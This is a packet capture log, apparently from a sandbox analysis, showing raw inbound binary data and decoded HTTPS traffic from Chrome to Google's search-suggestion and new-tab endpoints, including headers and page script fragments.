Dec 7, 2024 15:08:09.933011055 CET	1236	IN	Data Raw: e0 73 ce 34 a3 40 51 85 de 14 85 bc 5d 0e 73 6b 1b ac 54 c9 b2 d3 ea d6 cf 6d 39 9b 19 9e 65 ee 30 9f 7f 1c 7a 93 89 93 22 33 ff 21 25 3b f4 21 31 cd 62 4b 10 31 f6 33 0b 20 63 27 de 86 3f 52 51 1a 6a ea 40 e6 6e 05 01 c3 58 63 44 a0 e2 dc 77 e1 Data Ascii: s4@Q]skTm9e0z"3!%;!1bK13 c'?RQj@nXcDw[v}{O~#{5:P~l)&p;uRP J;%$:@{"zR)(:5'ige52v;:8qK?w!6ZPC(lkC*(6mSHNY
Dec 7, 2024 15:08:09.933113098 CET	1236	IN	Data Raw: d8 1b 04 b3 1b 93 ee 16 4c 31 c1 86 6f 0d 6b e4 04 79 ab 44 f1 1b 83 30 09 da 6d 62 48 37 79 c1 75 18 a8 92 a5 08 7e de 59 19 27 8b e3 d4 c7 21 79 eb 3d c3 2a 91 be 20 14 c4 5e 40 03 6f 27 31 fe 42 82 44 cf 10 ee 9f 1a b9 7f cc bd 6c c1 17 4d 68 Data Ascii: L1okyD0mbH7yu~Y'!y=* ^@o'1BDlMhv1^>A@,H}3bZa3i(fLgdy2j./wO-`vZE$,9wF)a?$)IKbB'j4~f1BX9v&
Dec 7, 2024 15:08:10.057833910 CET	1236	IN	Data Raw: 6a f2 47 23 d4 f1 17 e4 78 82 fb 82 bb 52 48 a4 d4 0d 49 69 19 c3 7b 53 4c aa 06 a1 d4 cb 7f 81 3c 9e e2 39 d2 16 c8 cc 22 9c 93 12 e0 10 02 ff 66 72 3e 3b b1 d3 c7 9d b2 c6 94 2d 71 98 09 64 e6 1a 6d 39 b3 f3 ca 67 24 8d 69 1f 59 d2 4a 62 35 32 Data Ascii: jG#xRHIi{SL<9"fr>;-qdm9g$iYJb52'p6VO&pz2\1O>v!Q%:-wVzS>rSzbsy\|Cs\p?7Bs{3s6bJDL#t#rivj2f_0U,aO!6wn54i)+ANc

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49712	216.58.208.228	443	8096	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 14:06:21 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 14:06:22 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:22 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-lc6JjuvsGot88qJCOsl2jA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 14:06:22 UTC	124	IN	Data Raw: 31 36 32 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 24 32 35 20 66 6c 69 67 68 74 73 20 61 6d 61 7a 6f 6e 20 70 72 69 6d 65 22 2c 22 70 69 74 74 73 62 75 72 67 68 20 73 74 65 65 6c 65 72 73 22 2c 22 71 75 61 76 6f 20 6c 75 6b 65 20 62 72 79 61 6e 20 74 65 64 64 79 20 73 77 69 6d 73 22 2c 22 6d 69 6e 6e 65 73 6f 74 61 20 73 6e 6f 77 20 70 6f 74 65 6e 74 69 61 6c 22 2c 22 Data Ascii: 1628)]}'["",["$25 flights amazon prime","pittsburgh steelers","quavo luke bryan teddy swims","minnesota snow potential","
2024-12-07 14:06:22 UTC	1390	IN	Data Raw: 69 6e 64 69 61 6e 61 20 6a 6f 6e 65 73 20 61 6e 64 20 74 68 65 20 67 72 65 61 74 20 63 69 72 63 6c 65 22 2c 22 66 62 69 20 77 61 72 6e 73 20 69 70 68 6f 6e 65 20 61 6e 64 72 6f 69 64 20 75 73 65 72 73 22 2c 22 6e 62 61 20 6c 61 6b 65 72 73 22 2c 22 72 6f 63 6b 73 74 61 72 20 67 61 6d 65 73 20 67 74 61 20 36 20 74 72 61 69 6c 65 72 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 Data Ascii: indiana jones and the great circle","fbi warns iphone android users","nba lakers","rockstar games gta 6 trailer"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","
2024-12-07 14:06:22 UTC	1390	IN	Data Raw: 48 4a 78 52 31 64 69 64 31 4e 32 4b 7a 4a 4b 64 47 64 43 62 30 4a 75 5a 6b 64 73 56 56 6c 4f 53 6b 6c 30 52 54 63 30 55 32 67 35 61 55 46 54 64 58 52 5a 61 6d 64 70 4b 32 4a 76 56 31 42 76 5a 32 31 48 51 7a 5a 61 51 57 6c 6f 55 58 64 43 59 69 39 6c 57 48 51 78 56 45 39 48 53 56 6c 59 55 57 73 72 54 54 64 42 55 6b 55 33 62 31 64 6f 59 55 6c 43 4d 6e 5a 34 53 46 4d 35 5a 45 78 6c 52 56 4e 6f 61 69 73 32 56 32 35 42 55 55 51 30 61 30 6c 47 61 6c 4e 6e 5a 30 70 30 52 48 6c 6d 52 6c 4a 74 5a 30 4e 77 51 56 49 76 65 47 73 79 64 30 5a 58 53 56 4e 56 56 46 70 33 61 57 46 51 51 32 68 6b 59 31 68 71 63 6b 4e 78 4f 44 67 34 52 54 4a 7a 55 57 74 68 63 33 70 7a 65 54 5a 42 63 31 46 51 61 46 4a 4d 4e 6d 5a 53 52 30 64 59 4f 58 70 4f 56 30 6c 57 65 47 68 4e 5a 6c 6c 42 Data Ascii: HJxR1did1N2KzJKdGdCb0JuZkdsVVlOSkl0RTc0U2g5aUFTdXRZamdpK2JvV1BvZ21HQzZaQWloUXdCYi9lWHQxVE9HSVlYUWsrTTdBUkU3b1doYUlCMnZ4SFM5ZExlRVNoais2V25BUUQ0a0lGalNnZ0p0RHlmRlJtZ0NwQVIveGsyd0ZXSVNVVFp3aWFQQ2hkY1hqckNxODg4RTJzUWthc3pzeTZBc1FQaFJMNmZSR0dYOXpOV0lWeGhNZllB
2024-12-07 14:06:22 UTC	1390	IN	Data Raw: 4e 53 6c 6c 53 64 56 64 76 51 30 6c 54 57 44 4e 6d 56 55 67 35 4e 48 46 4a 4e 6d 70 50 64 44 52 34 61 55 4a 6c 62 47 70 6a 5a 6d 5a 48 64 32 78 34 56 6c 63 31 52 31 45 72 64 45 74 4c 4e 32 4a 70 63 30 70 32 4b 33 68 4b 54 45 46 54 64 57 68 73 4d 31 64 32 55 56 67 34 61 58 4d 33 56 6b 4e 4c 57 6b 74 6e 4e 45 31 42 64 54 42 4c 65 55 46 32 61 6d 6c 42 5a 57 56 35 4e 57 64 44 55 6b 6c 52 4c 32 4a 70 54 57 56 59 52 55 4e 42 54 47 5a 45 64 30 6c 71 61 31 55 7a 4d 6a 56 76 62 58 45 34 59 58 52 4a 4e 55 70 79 4f 48 70 68 56 56 56 33 61 47 4a 42 5a 55 67 78 56 57 5a 54 63 43 73 31 63 46 56 76 65 57 64 4c 5a 6d 70 74 4e 79 74 75 55 6d 56 7a 62 6a 59 34 61 6e 56 6d 63 44 42 6f 55 45 31 76 61 6d 49 76 4e 30 46 4d 57 56 64 79 61 48 56 59 57 48 49 33 62 7a 64 55 64 6e Data Ascii: NSllSdVdvQ0lTWDNmVUg5NHFJNmpPdDR4aUJlbGpjZmZHd2x4Vlc1R1ErdEtLN2Jpc0p2K3hKTEFTdWhsM1d2UVg4aXM3VkNLWktnNE1BdTBLeUF2amlBZWV5NWdDUklRL2JpTWVYRUNBTGZEd0lqa1UzMjVvbXE4YXRJNUpyOHphVVV3aGJBZUgxVWZTcCs1cFVveWdLZmptNytuUmVzbjY4anVmcDBoUE1vamIvN0FMWVdyaHVYWHI3bzdUdn
2024-12-07 14:06:22 UTC	1386	IN	Data Raw: 54 5a 51 54 6e 70 74 65 54 46 47 56 44 52 7a 62 6d 4a 72 56 6b 64 42 51 30 74 57 4e 55 74 43 56 6c 56 68 64 6c 56 78 59 6d 51 35 56 30 39 55 61 31 4e 55 65 58 70 50 57 6b 49 77 51 55 64 6e 63 7a 6c 6d 5a 57 67 34 62 46 68 33 55 33 68 53 55 6d 70 34 54 6b 49 30 4d 33 6b 32 59 57 4a 77 52 45 31 6a 4e 44 59 77 63 6a 5a 70 59 32 56 4d 56 30 64 53 53 31 56 36 5a 55 64 77 4d 6c 70 42 63 32 68 31 56 56 46 47 5a 56 63 30 55 57 70 32 65 57 5a 52 57 45 64 48 57 6a 68 34 4e 6e 64 61 59 56 6f 7a 65 6b 35 5a 55 57 34 30 59 57 56 69 55 33 42 5a 4b 31 64 36 53 44 6c 55 52 6e 52 54 4d 30 6c 4a 51 56 4d 35 63 6d 30 31 63 57 68 72 65 48 6c 59 54 56 70 78 63 58 5a 36 5a 57 56 58 51 33 4a 75 4d 31 4a 54 56 54 6c 50 63 55 46 72 53 57 39 4c 63 7a 56 4b 59 6c 4e 4f 54 6a 64 42 Data Ascii: TZQTnpteTFGVDRzbmJrVkdBQ0tWNUtCVlVhdlVxYmQ5V09Ua1NUeXpPWkIwQUdnczlmZWg4bFh3U3hSUmp4TkI0M3k2YWJwRE1jNDYwcjZpY2VMV0dSS1V6ZUdwMlpBc2h1VVFGZVc0UWp2eWZRWEdHWjh4NndaYVozek5ZUW40YWViU3BZK1d6SDlURnRTM0lJQVM5cm01cWhreHlYTVpxcXZ6ZWVXQ3JuM1JTVTlPcUFrSW9LczVKYlNOTjdB
2024-12-07 14:06:22 UTC	97	IN	Data Raw: 35 62 0d 0a 39 42 51 55 46 42 54 6c 4e 56 61 45 56 56 5a 30 46 42 51 55 56 42 51 55 46 42 51 57 39 44 51 55 31 42 51 55 46 43 4e 55 56 42 65 6d 4a 42 51 55 46 43 54 45 5a 43 54 56 5a 46 57 43 38 76 4c 79 38 35 64 56 4e 6d 4c 33 5a 44 61 69 39 32 65 55 67 76 64 6d 6c 71 4c 33 5a 44 56 0d 0a Data Ascii: 5b9BQUFBTlNVaEVVZ0FBQUVBQUFBQW9DQU1BQUFCNUVBemJBQUFCTEZCTVZFWC8vLy85dVNmL3ZDai92eUgvdmlqL3ZDV
2024-12-07 14:06:22 UTC	1390	IN	Data Raw: 61 66 33 0d 0a 43 39 33 55 69 38 76 64 33 67 77 51 55 46 47 63 31 68 42 53 45 6c 33 51 55 63 34 51 55 46 49 54 57 31 42 53 45 67 76 64 57 6c 56 54 6b 46 49 54 56 68 42 52 31 4a 35 55 30 64 49 63 6a 5a 6d 52 44 56 30 61 57 74 6f 51 55 64 71 65 54 68 51 56 30 6c 61 51 6c 64 36 5a 33 68 32 61 48 42 54 54 32 4e 6a 61 47 70 72 63 46 52 69 57 47 31 36 4d 32 56 76 56 47 35 68 4d 53 74 51 4e 53 74 51 64 6e 6c 7a 51 7a 46 50 53 6a 4a 72 4d 30 52 58 4e 6e 4e 6b 4d 44 64 46 64 6e 52 48 57 6d 46 57 59 6b 46 70 52 57 56 50 57 55 5a 72 4c 30 6c 49 5a 6e 42 78 56 45 39 36 5a 6d 74 35 55 31 6b 78 5a 55 52 57 4d 58 6c 4a 56 32 78 78 65 58 45 34 56 47 67 31 5a 57 31 73 63 44 5a 74 55 57 68 59 54 31 46 6b 52 55 70 77 55 31 46 43 59 56 4a 43 5a 56 6c 75 59 56 42 55 4d 54 6c Data Ascii: af3C93Ui8vd3gwQUFGc1hBSEl3QUc4QUFITW1BSEgvdWlVTkFITVhBR1J5U0dIcjZmRDV0aWtoQUdqeThQV0laQld6Z3h2aHBTT2NjaGprcFRiWG16M2VvVG5hMStQNStQdnlzQzFPSjJrM0RXNnNkMDdFdnRHWmFWYkFpRWVPWUZrL0lIZnBxVE96Zmt5U1kxZURWMXlJV2xxeXE4VGg1ZW1scDZtUWhYT1FkRUpwU1FCYVJCZVluYVBUMTl
2024-12-07 14:06:22 UTC	1390	IN	Data Raw: 74 4b 4d 45 4e 34 62 47 35 57 52 53 74 4b 4d 30 63 30 63 56 68 6a 59 58 64 55 4e 54 46 73 62 30 64 78 64 7a 4e 30 61 31 56 6a 53 30 64 34 51 6d 56 61 5a 56 5a 36 52 6d 39 72 4e 6c 46 68 54 7a 46 6a 52 30 74 56 52 6b 56 5a 64 31 42 47 65 48 64 4f 55 31 56 48 51 7a 68 61 52 32 39 52 62 55 64 5a 63 33 52 4a 57 57 4a 6c 51 32 64 43 53 54 46 36 64 57 74 61 55 57 46 4c 57 57 4a 73 55 6d 46 6b 53 6d 74 43 65 46 4a 76 4e 47 64 35 59 30 68 45 51 54 6c 4c 61 57 35 42 65 6c 70 33 54 6b 64 6d 52 45 46 48 5a 33 68 55 56 30 31 53 51 32 68 6c 53 6d 78 36 52 30 52 35 54 48 5a 7a 56 58 46 4e 55 6e 52 77 63 7a 59 32 65 46 64 68 61 6b 78 70 62 6a 41 79 55 32 64 4b 4d 6c 63 33 55 55 73 32 4e 32 31 33 62 55 46 6e 54 54 52 69 62 6d 74 54 4b 31 67 79 52 57 52 4b 59 55 39 48 55 Data Ascii: tKMEN4bG5WRStKM0c0cVhjYXdUNTFsb0dxdzN0a1VjS0d4QmVaZVZ6Rm9rNlFhTzFjR0tVRkVZd1BGeHdOU1VHQzhaR29RbUdZc3RJWWJlQ2dCSTF6dWtaUWFLWWJsUmFkSmtCeFJvNGd5Y0hEQTlLaW5Belp3TkdmREFHZ3hUV01SQ2hlSmx6R0R5THZzVXFNUnRwczY2eFdhakxpbjAyU2dKMlc3UUs2N213bUFnTTRibmtTK1gyRWRKYU9HU
2024-12-07 14:06:22 UTC	30	IN	Data Raw: 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: ,"QUERY","ENTITY","QUERY"]}]
2024-12-07 14:06:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49711	216.58.208.228	443	8096	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 14:06:21 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	216.58.208.228	443	8096	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 14:06:21 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 14:06:22 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 07 Dec 2024 14:06:22 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 14:06:22 UTC	372	IN	Data Raw: 32 30 30 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 200f)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-07 14:06:22 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-07 14:06:22 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-07 14:06:22 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-07 14:06:22 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-07 14:06:22 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 31 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700271,3700942,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-12-07 14:06:22 UTC	893	IN	Data Raw: 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 Data Ascii: c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new 